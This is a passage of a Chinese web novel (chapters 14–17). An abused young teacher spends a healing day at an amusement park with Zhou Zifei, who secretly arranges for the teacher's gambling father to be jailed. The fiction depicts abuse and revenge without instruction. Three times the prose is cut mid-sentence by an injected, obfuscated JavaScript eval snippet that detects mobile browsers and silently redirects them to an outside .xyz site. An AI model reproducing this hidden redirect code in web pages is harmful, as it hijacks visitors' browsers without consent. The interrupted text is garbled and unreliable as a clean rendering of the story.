手机此时震动起来,还是盛千龙发来的消息。 盛嘉无可奈何地,现在才开始细细看他之前的那些聊天记录。 看着看着,他的眉头便锁紧了。 盛千龙又去赌了,这次债主和他签了合同,如果盛千龙不还钱,将会被以“巨额诈骗”的罪名告上法庭。 聊天中,盛千龙反复咒骂债主,他说对方根本不差他这点钱,却执意要将他逼到绝路上,好像就等着他坐牢。 盛嘉清楚盛千龙的德行。 从前家里有钱的时候,盛千龙还能大手大脚,而在盛千龙和母亲离婚后,盛千龙手里没钱了,赌的程度也小了很多。 但现在盛嘉每月只给他三千,加上上次的五万,这点钱按理来说盛千龙应该不会赌太多,毕竟他也清楚自己还不上。 所以这次他到底是赌输了多少,怎么会急成这个样子? “他找我要五十万,说我以前强迫了你,爽完了得给补偿费。” 余向杭的话再次在脑海中浮现。 好似有一道闪电劈过,盛嘉的第一反应不是想如何去凑钱。 他的心跳加速,隐隐意识到,或许有一个能永远摆脱盛千龙的机会就出现在眼前。 五十万。 如果是诈骗的罪名,金额是五十万…… 盛嘉打开浏览器搜索,诈骗五十万以上如何量刑,屏幕上的“处十年以上有期徒刑或者无期徒刑”赫然令他呼吸急促。 他清楚盛千龙一定不止欠了五十万,而这个金额足够对方在牢里待得够久。 这不是盛嘉第一次遇见这种机会。 十一岁那年,盛嘉在地下室透过小小的窗户叫着路过的房东,给对方看自己的伤口,企图让盛千龙被警察抓走,但最后的结果是房东的门口被盛千龙打砸一通,他们连夜搬了家。 十六岁被勒令辍学那年,盛嘉偷拿钱去交学费,被从赌场回来的盛千龙抓个正着,烧开的热水壶烫在了他的侧腰,那种皮肉被灼烧的疼痛,令他再也不敢动盛千龙的钱,只能自己打工挣学费。 十九岁时,盛千龙让盛嘉替他上网查哪里工作挣钱最多,盛嘉发现了电脑里存着的监控录像,而生父竟在售卖自己生活起居的录像,那是他成年后第一次反抗盛千龙,他砸了所有摄像头,声嘶力竭地喊着要去报警,被盛千龙在胸膛砍了两刀。 盛嘉在医院住了一个月,后来再也不敢和盛千龙正面冲突,他睡在打工餐厅的后厨,睡在地铁通道,身份证和户口本都被盛千龙压着,不回去过夜已经是他能想到的最大的反抗。 再后来,就是盛千龙发现余向杭和他的事,借故威胁余向杭,余向杭替他挡了一刀。 可余向杭却觉得盛千龙只是气昏了头,他不知道盛嘉那些过往,一心想要盛嘉和盛千龙像正常父子一样相处。 盛嘉也害怕说出口会被余向杭厌恶,于是他离自由最近的一次机会,也在两个月前被余向杭亲口宣告“失败”。 这些年来,盛嘉一直觉得自己缺少运气,后来觉得自己缺少勇气。 曾经他以为所有的幸运用来遇见余向杭,现在他已经不期待运气这种虚无缥缈的东西,他只想拥有一点勇气。 盛嘉握紧手机,苍白手背下的淡色青筋凸显,他死死盯着手机屏幕,盛千龙还在不断发消息,接连响起的提示音昭示着对面的人正万分焦急。 “我手头目前只有五万,你先拿去用,剩下的我下周再给你。” 手指颤抖,盛嘉用力咬住大拇指,疼痛控制住了他疯狂的仇恨,那双笑眼此刻黑沉,瞳孔紧缩,于深处生生吊出一线光,亮得触目惊心。 他要让盛千龙欠得更多。 既然盛千龙这次惹了不同寻常的人,那他要让盛千龙真正地被踩下去,并且绝不会有翻身的可能。 盛千龙收到钱便没再发消息,估计立刻去了赌场试图赢到更多的钱。 盛嘉仿佛听到筹码掉落的清脆声响,还有盛千龙双目猩红地喊着“加码”的呼声,周围人都聚在一起,向这穷途末路的赌徒发出窃笑。 赌吧。 赌上你所有的钱。 赌上你的命。 最后再一无所有地去死。 盛嘉指尖掐进掌心,眼角发红直直看着面前空白的墙壁,淡色的唇轻轻嚅动,声音细小地诚心祈求盛千龙能够死在赌场上。 视线渐渐模糊,身下沙发也软得像要塌陷,可他却着迷地畅想盛千龙狼狈的丑态,并未意识到呼吸越发急促,胸膛正在剧烈起伏,恨到四肢都轻微痉挛着。 …… “盛老师,是我的电话,你快接呀,盛老师——” 男孩稚嫩的童声忽然亮起,打断了盛嘉大脑中朦胧丑陋的幻想。 紧接着盛嘉整个人猛地向上一耸,五官痛苦地扭曲。 他捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219967|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住滞闷的胸口深吸一口气,发出尖锐的“嗬嗬”声,随后不受控制地朝一侧倒去,整张脸闷在沙发上,脊背一抖一抖地喘息,过度的呼吸这才停住。 手机还在锲而不舍地响铃,自动挂断后,又继续在叫”盛老师,是我的电话!”,盛嘉停摆的大脑开始转动。 是周佳奕的声音,这铃声是有次放学周子斐来接周佳奕回家时,周佳奕要求设置的。 当时周子斐还有些不乐意,说盛嘉存着的是他的手机号,铃声应该由他来录。 盛嘉渐渐缓过了神,潮湿的睫毛缓慢眨动了一下,空茫的眼神逐渐凝聚。 此时他黑发汗湿,上衣也湿着贴在前胸后背,就像溺水的人忽然从水里被拽出。 伸出手,无力的手指颤抖着按了好几下,才将电话接通。 “盛老师!我是周佳奕,你能听到我说话吗!” 周佳奕高兴的声音从那头传来,盛嘉艰难地吞咽了一下口水,干涩的喉咙里挤出一声“嗯”。 “盛老师你说话声音怎么那么小,是不是还是不舒服?” 周佳奕开始担忧、着急起来,盛嘉慢慢挪动脸,下巴贴着听筒,压抑着频率稍快的呼吸,开口:“没有……” “那就好,那就好——盛老师我打电话想问你,这周我们能一起出去玩吗?” 盛嘉没说话,他食指指腹按住听筒,嘶哑地咳嗽了几声。 周佳奕自顾自欢快地说:“我们去游乐场玩吧,舅舅说游乐场里面也有海洋馆,而且游乐场好玩的、好吃的比海洋馆多多了!” “舅舅!你干嘛抢我电话——” 电话里传来轻微的嘈杂声,周佳奕控诉的声音远去,随后是一道柔和磁性的男声。 “盛老师你还好吗?是不是哪里不舒服?” 盛嘉闭上眼睛,眼泪后知后觉地滚下来。 真想告诉周子斐他好难受,但…… “没事,只是刚回家,有点累。” 盛嘉掐着小臂皮肤,才勉强清醒地一字一句说得清楚,没有泄露出半点不适。 对面沉默了片刻,才开口:“好,我知道了。” “盛老师,我等会儿去给你送晚饭,有点累的话就先休息吧。” 周子斐沉稳的声音一如往常,但盛嘉就是觉得他知道了,周子斐知道自己不舒服,知道自己所有强装的“没事”。 于是,盛嘉不再说话,只让听筒传递自己的呼吸。 他手臂环住自己侧腰,背部弓起,胸腹处极力贴近蜷缩的双腿,狭窄的单人长沙发容纳盛嘉却显得绰绰有余。 对面也安静了下来,两人的气息通过一部手机短暂交融。 盛嘉听着很轻的呼吸声,渐渐意识涣散,不知何时睡了过去。 15. 带你走 门铃声响起的时候,盛嘉正陷在黑暗湿冷的梦境中。 明明大脑已经清醒过来,却怎么也睁不开眼,四肢更是麻木僵硬。 门后的人会是谁? 他想到之前敲响家门的余向杭,一时间感到恐惧、排斥。 “盛老师,你在家吗?” 那道熟悉的男声穿透了黑暗,盛嘉看到一点红色。 红色的头发,看起来很柔软,但是摸上去偏硬,有些扎手。 还有,透过水面朝自己伸出的手臂,印象里这会是一个很温暖,让他感到安全的怀抱。 …… 盛嘉深吸一口气,倏然睁开双眼,一行残泪顺着眼角滑落。 他如同被人从水底拉住,顺着那力道,挺身坐了起来。 “盛老师,我是周子斐,你还好吗?” 门外的声音还是沉稳的,只是敲门的频率变快了几分,盛嘉终于清醒过来,他连忙穿上鞋去开门。 打开门后,周子斐正站在门口。 他提着保温桶,眉头紧锁,脸色也略沉,但在看见盛嘉后,他慢慢松开了眉,表情却变得愣怔。 “抱歉,刚刚睡着了,没听见你的声音。” 盛嘉不好意思地道歉,见周子斐迟迟不动,疑惑地问:“怎么了?” 周子斐忽然抬手,食指关节轻轻蹭上盛嘉发红的眼角。 先是一点鲜明的温热贴上,随后便是冰冷被抹开。 盛嘉下意识摸了摸脸,才发现自己还挂着泪,他心里一惊,连忙拿袖子擦干了。 “那、那个,刚刚做了个噩梦,所以有点……” 盛嘉慌张地解释,而周子斐幅度很小地摇了摇头,他嗓音低缓:“没关系的。” 在进了屋子后,周子斐没有问盛嘉做了什么噩梦,而盛嘉也没有询问周子斐怎么会给他带晚饭。 他们心照不宣地忽视彼此之间的暗流涌动,只聊着一些琐事,似乎这样就能掩盖关系的微妙改变。 然而盛嘉承认,这个有人陪着说说话的晚饭时刻,令他心中那根紧绷的弦放松了几分。 “盛老师的脸色看起来还是不太好,要不还是再休息几天吧?” “不用的,我身体上没什么问题了。” 周子斐听闻,浅笑着无奈叹了口气,他坐在餐桌旁轻声开口:“盛老师,我指的不是身体上的问题,是这里的。” 盛嘉只见周子斐指尖点了点心脏处,于是自己也不自觉地抬手按在左胸口。 “这里……?” “嗯,身体上的问题医生可以帮忙解决,但是这里的,医生却帮不了。” 盛嘉明白了周子斐的意思,他低下头,感受了一下那颗正在跳动的心脏。 他该如何去解释? 他并非还没脱离自毁情绪,只是被亲生父亲逼得再一次情绪崩溃。 连曾相爱多年的爱人,盛嘉都难以启齿,更何况是只认识了几个月的周子斐? “我——” 盛嘉正要撑起微笑表示自己真的没事了,周子斐忽然又说:“盛老师之前说要陪周佳奕去海洋馆,不如最近就兑现一下承诺?” “不过周佳奕现在更想去游乐场玩,游乐场周末人多,工作日去比较好。” 周子斐自顾自地说了一大段话,盛嘉呆呆地坐着,不知道这是什么意思。 但接下来,他听见周子斐说: “盛老师,只要你愿意,我就带你走。” “走?去、去哪?”盛嘉不知所措地问。 盛嘉一时脑子没转过弯,周子斐的“我带你走”,令他心头一跳。 “去游乐场。” “我们去只有棉花糖、冰淇淋、欢声笑语的地方,然后什么上班啊,做饭啊,该死的前夫啊,所有糟糕的事情通通都忘得一干二净。” 周子斐语气轻柔地仿佛在和盛嘉说悄悄话,就好像他们是背着父母约好要一起离家出走、潇洒快活的坏小孩。 但盛嘉真的被蛊惑一般,或者更确切地说,他被周子斐那种“只要开心就好,什么都可以不用管”的潇洒所吸引。 这样就可以吗? 去一次游乐场,去有棉花糖、冰淇淋、欢声笑语的地方,他就能如愿忘记所有糟糕的事情吗? “好。” 在反复的犹豫中,盛嘉最终还是听见自己说“好”。 - 秋日晴空下,过山车沿着高高的轨道猛地一冲而下,人们因剧烈的刺激,发出竭力的尖叫声和欢笑声。 而项目出口处,站着两个男人,一个弯腰几乎要抱着垃圾桶,另一个满脸担心,一会儿轻抚对方的背,一会儿又将矿泉水递过去。 “子、子斐,你还好吗?” “还……还……呕……” 周子斐再次干呕,面色惨白,精心打理的头发也乱蓬蓬地支在脑袋上。 虽然他是赛车手,喜欢肾上腺素飙升的快.感和高速下强烈的推背感,但他对过山车一直很不适应。 这次坐上去完全是因为盛嘉想玩,可他没想到自己竟然会不适应到这个程度。 漱完口,周子斐虚弱地被盛嘉扶到长椅上坐好,他的心中十分难受。 过山车是一个原因,但更大的原因在于他在盛嘉面前丢脸丢得非常彻底。 刚刚他一踩到地面就异常脚软,要不是盛嘉撑着他,他绝对会跪在地上。 “都怪我,早知道就不玩这个了。” 盛嘉愧疚地开口,他看周子斐玩跳楼机没什么问题,便以为过山车应该也没事。 “没事……只要盛老师你帮我保密,千万别告诉周佳奕我怕过山车,也别说我吐了,不然我的面子……” 周子斐完全不在意,还在想幸亏周佳奕和张阿姨去买冰淇淋了。 为了今天能出来玩,盛嘉昨晚便请了假。 而周子斐考虑到他还想和盛嘉单独相处,便叫上了家里的阿姨,这样随时都能把周佳奕打发走。 “好,我知道了,不会说的,你还要不要再喝点水?” 盛嘉见周子斐还能顾及到面子问题,这才放心一些。 就在这时,街边响起有音乐声,几个工作人员走了过来,他们穿着玩偶服。 其中一个是红头发的纽扣眼玩偶人,它看见同样是红头发的周子斐,兴奋地跑过来,拉着周子斐的手,似乎很想和他抱一个。 周子斐一张脸面无表情,完全不为所动,他的审美让他无法接受这么个丑东西。 盛嘉却觉得很有意思,他轻咳一声,小声怂恿:“子斐,你快去和它抱一个,你看它多委屈啊,快去吧——” 周子斐努力分辨那张玩偶脸,除了礼貌微笑,什么情绪也没看出来。 但盛老师都发话了,他还是选择了乖乖照做。 盛嘉笑盈盈地看着他们抱在一起,这时瞥见一个拿着拍立得的工作人员,想了想,主动走了上去。 “好了,抱完了,盛老师不用担心有小朋友会委屈了。” 周子斐刚和玩偶抱完,便回到盛嘉身边“汇报情况”,却发现盛嘉正蹲在长椅边摸一只小野猫,似乎并未看他和玩偶的互动。 听到周子斐的声音,盛嘉仰起脸语气新奇地和他说:“刚刚我看到有人打扮成白雪公主的样子了,真的特别还原。” 他不知为何笑得很甜,那个小小的梨涡在阳光下格外亮眼。 “盛老师笑这么开心,难道也想扮个公主玩玩?” “我不是这个意思!” 盛嘉打断周子斐调笑的话后,又回嘴道:“我又不满足扮演公主的条件。” 周子斐也蹲在他身旁,挑眉笑着开口:“盛老师怎么就不满足公主的条件了?” “我怎么就满足了?” 盛嘉细眉一拧,跟人斗嘴似地反问。 周子斐指了指躺在盛嘉脚边打滚撒娇的小猫,随后轻轻拽了一下盛嘉脑后的发绳。 “受小动物欢迎。” “黑色长头发。” “皮肤白。” “善良又漂亮。” 周子斐笑起来,继续说:“盛老师,你不就是公主吗?” 盛嘉的脸烧起来,他傻傻地看着周子斐,嘴唇嚅动半天,才只吐出“可我是男的”这句话。 初秋的天气不算凉快,再加上盛嘉刚从过山车上下来,他两颊还带着热出的红晕,于是周子斐又觉得他看起来更像是公主手上捧着的红苹果。 “男的怎么了,盛老师就只在这里当一天公主都不行吗?” 盛嘉眼看着周子斐从兜里掏出了个深蓝色的发箍,上面顶着一个布艺皇冠,他促狭地冲盛嘉挤挤眼,那张冷俊的脸配上这幅表情显得有些滑稽。 不知道周子斐是什么时候买的,也不知道周子斐是怎么把它装在兜里的…… 盛嘉没憋住笑了一声,接过来看了看,问道:“你这是早有预谋?” “被你猜中了,今天周佳奕是小王子,我是骑士,那盛老师只能扮演公主了。” 周子斐比了一下自己外套上的骑士图标,说着就让盛嘉低头戴上公主的皇冠。 “怎么样?” 盛嘉戴好后,抬起头笑眯眯地问,他唇红齿白,乌发雪肤,在周子斐面前笑得两眼弯弯。 怎么样? 当然很好—— 盛嘉是这个世界上最漂亮的公主,周子斐愿意永远当他王国里的骑士,守护他领土里每一天的安宁和欢乐。 “盛老师,再加上公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219968|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙就完美了。” 周子斐浅笑着回答,盛嘉听了,闷笑几声,又摸了摸发箍,难得开玩笑:“那可不行,你只是骑士,怎么能对公主的衣着指指点点?” “公主说得对,是我冒犯了,接下来一定注意我的一言一行。” 周子斐故作惶恐,他手握成拳头贴在心脏处,朝盛嘉低下头致歉。 盛嘉乐不可支地拍拍周子斐的肩头,宽恕道:“没关系,公主原谅你了。” 随后两人站起,周子斐还要去扶盛嘉,盛嘉顺着他,声音含笑:“没想到你这个骑士这么忠心呢。” 周子斐毫不犹豫地肯定:“那当然。” 你命令我去攻占任何一座城池,我都会为你所向披靡、一往无前。 两人聊了这么一会儿,去买冰淇淋的周佳奕和张阿姨也回来了,几人继续朝其他园区走。 周佳奕对于盛嘉的皇冠非常满意,他要求盛嘉牵着他的手,这样他作为王子才能更好地保护公主。 “骑士才是保护公主的,周佳奕你搞清楚好不好?” “王子才是!王子以后还要和公主结婚,我以后要和盛老师结婚!” “你!周佳奕你是不是几天没讨打就皮痒了!” 周子斐气极,一手拎起周佳奕夹到手臂下面,周佳奕吓得哇哇大叫,不停在喊“盛老师你看他!你看我舅舅!”。 但盛嘉笑得开怀,只和张阿姨虚虚地扶着,防止周佳奕掉下来,而周子斐也因此欺负周佳奕欺负得更坦然。 直到周佳奕小腿乱动踹了几脚,在周子斐外套上留下两三个灰扑扑的脚印,并保证“以后不会提要和盛老师结婚”,才被周子斐放下来。 之后盛嘉脸上一直挂着畅快的笑容,眼睛也亮晶晶的,他和周佳奕手牵手,有时小跑起来,有时一起欢呼,看起来也像个贪玩的小孩。 而周子斐跟在他们身后,视线落在盛嘉背影,总也抑制不住上扬的唇角。 “少爷现在和盛先生进度怎么样?” 张阿姨和周子斐并排走,小声询问起来。 周子斐闻声并未转头,依旧专注地看盛嘉,笑吟吟开口:“怎么,是我姐托您打听的?” “哪有的事,少爷找了那么久的人,我也是好奇。” 张阿姨语气亲和,她从周子斐十二岁起就留在周家,而周子斐十五岁那年被盛嘉救了后,几乎整个周家都知道他在找盛嘉。 面对照顾了自己十年之久的阿姨,周子斐情绪外泄几分,坦然道:“在一起也没那么快,不过,他应该不讨厌我,应该……也有一点好感。” “哎呦,那好啊,我看得出来,盛先生是个好人,少爷可得把握住机会!” 周子斐此时才偏过头,他朝张阿姨一笑,显出几分意气。 “嗯,我知道,他是个很好很好的人,这辈子我就只想和他在一起。” - 远处太阳逐渐西沉,天色暗下来,人群开始缓慢朝城堡附近的广场聚集。 “舅舅,为什么大家都往那边走呀?” 周佳奕跑了一天,现在累得一步都不愿意走了,还是靠张阿姨抱着。 周子斐看了一眼手机,回道:“马上要放烟花了,我们也可以过去占个好位置。” 到中央广场后,周佳奕吵着要去最前面,前面已经站了一排人,周子斐不愿意跟着挤,盛嘉也觉得留周子斐一个人在后面不好,最终还是周佳奕和张阿姨去了前面,而盛嘉和周子斐留在人群的外围。 夜幕很快降临,在人声嘈杂中,他们两人却静了下来。 早秋的晚风拂过,带来丝丝凉意,还是周子斐先打破了沉默。 “盛老师冷吗,晚上好像有点降温了。” 盛嘉摇摇头,顺势看向周子斐的侧脸,但在夜色里他什么也看不清。 他们挨得很近,手臂隔着一层外套面料贴在一起,但盛嘉依然能感受到周子斐传递过来的热量。 毕竟这个人的存在感一直都很强。 莫名地,盛嘉想起和周子斐称得上是亲密的仅有的几次接触。 这个人抚摸自己脸颊的手总是很热,身上的香水气息虽然很淡却很难以忘记,他的力气很大,然而触碰自己时很轻柔。 周子斐的眼形凌厉,可盛嘉每一次看过去,那目光都是柔和的,就像现在…… 盛嘉直觉周子斐的余光正落在自己身上,很轻、很温柔,令他无法忽视。 “子斐,为什么……你想要带我来这里?” “你……是怎么想的呢?” 盛嘉还是问出了这个问题,他和低头看自己的周子斐对视上。 他知道周子斐一定读懂了自己真正的意思—— 你为什么要对我这么好? 16. 靠近 听到盛嘉的问题,周子斐一愣,原本想好的腹稿全都忘得一干二净。 他忽然不知道该怎么回答。 周子斐当然可以故作没有听懂地回答,是周佳奕想来这里玩。 也可以像过去一样,以“朋友”的借口打消盛嘉的试探。 可当他注视着盛嘉在微光下明亮又忐忑的眼睛,不由自主地想,或许盛嘉只是想要一个真心的答案。 盛嘉没有懂装不懂,更没有委婉试探。 被错付过的人总会怀疑自己是否还值得被用心对待,他只是有点不敢确认周子斐真的是为他而来的。 小广场中央挤满了人,这里没有开灯,只有两侧的路灯亮着。 光线昏暗的夜色中,盛嘉抬脸紧张地看着周子斐模糊的神情。 他其实也不知道周子斐会怎么回答,更没想过自己会忽然问出这样的问题。 但到了这一步,盛嘉开始前所未有地害怕起他和周子斐的未来。 盛嘉甚至悲观地想,命运会再次给他送来一个“余向杭”吗? 如果不过是重蹈覆辙,那他宁愿不曾拥有。 他希望周子斐不要回答,什么也别说,就让他们维持着现在的关系,永远不要更进一步。 他不能听周子斐的回答。 他怕听到答案后他会动摇,他怕自己会再一次坠入,无法预知且无法把握的爱憎悲欢。 然而。 盛嘉心中向周子斐竖起的那面坚墙,还是隐隐爬上裂痕。 在足够久的沉默中,周子斐缓慢低头,正要轻声开口,但此时—— 砰!砰! 天空中炸起烟花,音乐随之而来,人群中发出惊叹和欢呼,所有声音汇聚在一起。 “盛老师,我只是想让你开心点。” 这句话淹没在周围的热闹声响中,而盛嘉刚刚未看到周子斐欲动的嘴唇,他被转移了注意力,不自觉地看向天空。 烟花和灯光映亮了那双乌黑的瞳孔,折射出惊艳的光彩。 周子斐的答案没有被听见,可他看见此生最美好的画面。 盛嘉仰头小声地“哇”了一下,嘴巴张得圆圆的,脸上因为刚刚小跑涌上气血而泛红,颊边有汗珠缓慢滚下,头上的王冠发箍也歪了。 他看起来乱糟糟的,可又那么生动、那么可爱。 于是万千话语都化作无限恋慕和疼惜,周子斐的视线落在盛嘉身上。 在缤纷灯光和高声欢呼中,他只安静注视盛嘉眉眼弯弯地看烟花。 心中溢出无可奈何又纵容的温柔,周子斐无声地继续向心爱的人坦白: 盛嘉,理由很简单。 只是想让你开心。 想让你畅快地笑。 想让你做没有烦恼的小孩。 哪怕是暂时的,也希望你可以多一点快乐。 但这些想法,周子斐永远不会告诉盛嘉。 他希望盛嘉每次想到这一天,都像个小朋友一样高高兴兴地说有哪些好玩的、好吃的,都像回到无忧无虑的童年。 他不想盛嘉这一天最后的记忆是苦恼于如何处理成人的情感问题。 周子斐不曾参与少年盛嘉、青年盛嘉的人生,那么至少在这个游乐场,在此时,他想要保护盛嘉的少许天真。 烟花声渐渐变轻,最后夜空沉寂了下来,只余残星闪烁。 盛嘉有些恋恋不舍地移开了视线,他又转头去看周子斐,猝不及防和人对视。 面前的人正低头专注地看他,一双深邃的眼眸中似乎有什么情感即将呼之欲出。 然而周子斐并未说话,他和盛嘉对视着,手臂缓缓动起来。 先抬手自然地将盛嘉头上歪了的发箍移正,又状似无意地在放下的时候指尖抹去了盛嘉脸颊边的汗珠。 做完这一系列举动,周子斐才低头凑近盛嘉耳边开口:“已经没有烟花了,要再去别的地方逛一逛吗?” 尽管盛嘉知道现在人群喧闹,周子斐是为了让自己听清话才靠得这么近,可听到对方低沉柔和的声音时,盛嘉还是忍不住紧张地屏住呼吸,等人离远了又摸了摸发痒的耳尖。 “盛老师!你看到烟花了吗!那个烟花先是砰的一下,变成红色的,然后又变成了粉色的——” 远远地,周佳奕欢腾地叫着“盛老师”,他坐在张阿姨的怀里,两只小胳膊在空中不停挥舞。 盛嘉先是下意识就要抬脚走向周佳奕,脚步一顿,还是转头先回答了周子斐的问题。 “看奕奕还想不想逛吧,都听他的。” 看人已经笑盈盈地要过去捏周佳奕红扑扑的脸蛋,周子斐默默叹了口气: 他只想爱盛嘉这一个“小朋友”,但盛嘉爱的小朋友倒是多得很。 “周佳奕,你还想不想逛?” 周子斐一走近,就看见周佳奕打了个哈欠,他虽然还是想逛,但小孩子的精力毕竟有限,这会儿跟盛嘉说话他的眼睛都要合上了。 “我、我要玩……” 周佳奕小脑袋靠在张阿姨肩上,坚持自己要玩不要回去,说话的声音却软绵绵的。 盛嘉摸了摸周佳奕汗湿的额头,轻声哄:“奕奕咱们下次再出来玩吧,今天都玩一天了,盛老师也累了,咱们回家好不好?” 盛嘉很会摸小孩,只是揉着周佳奕的脑门,就把人摸睡着了,周佳奕还未来得及回答,便闭眼沉沉睡去。 张阿姨见周佳奕睡过去,笑着轻声说:“盛老师真厉害啊,奕奕平时玩性大,困得不行了都还要玩,少爷让他睡觉,他还会闹脾气。” “那当然了,盛老师是专业的。” 周子斐先一步得意起来,盛嘉看他一副与有荣焉的样子,只觉得脸臊得慌,连连摆手表示只是因为带小孩经验多。 他们走过还热闹的园区,发现周佳奕睡得安稳,说话声也大了起来。 “张阿姨,你先带周佳奕跟司机回去吧,我送送盛老师。” 周子斐还想像之前一样送盛嘉回家,但盛嘉这次却说什么也不愿意。 “子斐你早点回去吧,今天你坐了过山车之后就不太舒服,不用再送我了。” 盛嘉认真地劝,他的语气很坚决,见状周子斐也不好再拒绝,只能听话地坐上车。 “盛老师,你到家记得给我发个消息,今天走了一天,洗完澡后最好再泡泡脚。” 周子斐坐在副驾驶上,车窗降下来半截,还在不停叮嘱盛嘉,盛嘉全都笑吟吟地说“好”,看得出来他今天真的很开心。 “盛老师,那我们就先走了。” “嗯,路上注意安全。” 周子斐和路边的人挥了挥手,车窗缓慢上升,就在司机即将启动时,盛嘉再次开口。 “等一下——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219969|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛嘉小跑过来,他弯着腰靠近副驾驶车窗,身后路灯洒下的光铺满了盛嘉整个后背,为他渡上一层毛茸茸的光圈。 周子斐连忙叫停,车窗被全部降下来,他探出身问:“怎么了?” 只见盛嘉轻轻咬了咬唇,笑眼水润,眸光轻柔,似乎有话要说。 于是周子斐莫名紧张,呼吸都压住,生怕惊走了面前的人。 “今天……是我这段时间以来最开心的一天。” “谢谢你。” 说着,盛嘉从口袋里拿出一样东西,是照片。 照片上周子斐侧过脸和玩偶抱在一起,表情略显嫌弃,而盛嘉站在他身侧不远处,笑眼弯弯地面对镜头,两手食指指着他。 “这个是在你和玩偶拥抱的时候,我找拿拍立得的工作人员拍的。” “送给你,我……我只是想告诉你,我今天真的很开心。” 周子斐视力极好,在昏暗的路边他能清楚地看见盛嘉的手指在轻颤。 一瞬间,周子斐的眼眶发酸,甚至没出息地想要落泪。 正如他所说的,想和盛嘉来游乐场的原因非常简单,他只是想让盛嘉开心。 而如此简单的理由,盛嘉又怎么会想不明白? 或许在盛嘉问出那个问题的某一刻,他也有一秒在为周子斐而心跳加速,正在紧张并期待着周子斐的答案。 虽然那种悸动算不上喜欢,但至少有一秒,他们的心声在彼此共鸣。 周子斐不敢抬头,怕抬头会忍不住吻住盛嘉的唇。 于是他低头接过照片,仔细地看,语气故作轻快地问:“盛老师竟然学会悄悄准备小礼物了?” “算不上吧……” “一张照片而已,更何况你帮了我很多,我……我做的没有你那么好。” 盛嘉见周子斐接了照片,另一只攥紧的手这才缓缓松开。 他拥有的东西很少,不会和人相处,总过于迟钝笨拙。 但他也想为周子斐这个自从认识以来,给了他很多帮助的人一点回礼,一张照片其实远比不上周子斐为他所做的事。 他只是…… 只是觉得今天是值得被纪念的,至少该留下点共有的记忆。 属于盛嘉和周子斐的记忆。 周子斐将照片放在胸口处感受片刻,随后抬起头,他的目光像曾注视过盛嘉无数次那样眷恋。 “盛老师,你还记得我以前说的吗?” “或许你在很多你自己都没有意识到的时候,就已经为那个对你好的人付出了很多,所以永远别说你做的不够好。” 声音顿了顿,他终于抑制不住满腔汹涌的爱意,做出了一个冲动而突然的举动。 手臂伸出窗外揽住盛嘉的肩头,他将盛嘉松松环在臂弯之中,左手搭在盛嘉后脑勺柔软的黑发上,将人扣在自己肩窝。 “只要你开心就够了,只要你开心,什么都是好的。” 周子斐在那发尾落下如羽毛般轻飘飘的吻,又在盛嘉意识到之前很快松开。 “盛老师,今天很晚了,早点回家休息吧。” “以后还有很多见面的机会,什么话我们都可以慢慢说,什么事我们都可以慢慢来。” 多年过去,他仍然在朝爱人的来处张望,但他知道是值得等待的。 周子斐相信,总有一天盛嘉会慢慢地、艰难地爱上他。 17. 意外 “盛先生,现在还款的期限马上就要到了,你的钱准备好了吗?” 盛千龙被压着来到男人面前时,正在赌桌前扔下了最后一个筹码,他双目猩红,满脸是汗,原以为自己输了那么多次,总能时来运转一次,却没到还是赔了个干净。 被人按在地上,盛千龙奋力挣扎,扑到男人脚下抱着对方的腿,不断哭求。 “你、你再给我几天,钱我马上就能准备好!” “或者你借我一个筹码,只要一个!我去场子里很快能赢回来!” 他哭得涕泗横流,一张枯黄的老脸令人看了作呕。 “三天之后如果还不上,你就去坐牢吧,你知道的,在牢里有不少欠了我们钱又还不起的赌徒,想必他们很乐意通过别的方式来还债。” 男人抬脚将盛千龙踹倒在地,将“威胁”二字明晃晃地摆了出来。 看盛千龙哆哆嗦嗦地保证,又让身边人将他拉走,男人这才舒了一口气,跑到房间的屏风后面,弯腰朝对方开口: “周少爷您放心,我们已经起诉了他,估计过几天盛千龙就会收到法院的传票。” “还有到时候监狱那边,您看需不需要我们再……” 男人清楚面前的贵客是一心要整死盛千龙,刚刚他说联系牢里的那些背着巨债的人并不全是威胁。 周子斐轻笑一声,他幽幽盯着赌场老板,漫不经心地回答:“我要是只想让他受些皮肉之苦,又何必让你们想办法把他送进监狱,随便找人打一顿不就行了?” 男人一愣,不太明白周子斐的意思。 “既然喜欢赌,就让他在监狱里将这个爱好保持下去吧。” 周子斐看了一眼时间,发现马上该去接周佳奕放学了,于是他起身离开不再多言。 男人将周子斐送走后,若有所思地想了想周子斐的话。 自己的人生只有毁在自己手上才会格外绝望,周子斐要让盛千龙死在他自己亲手制造出的绝境中。 - “盛老师!明天周末我们出去玩吧!” 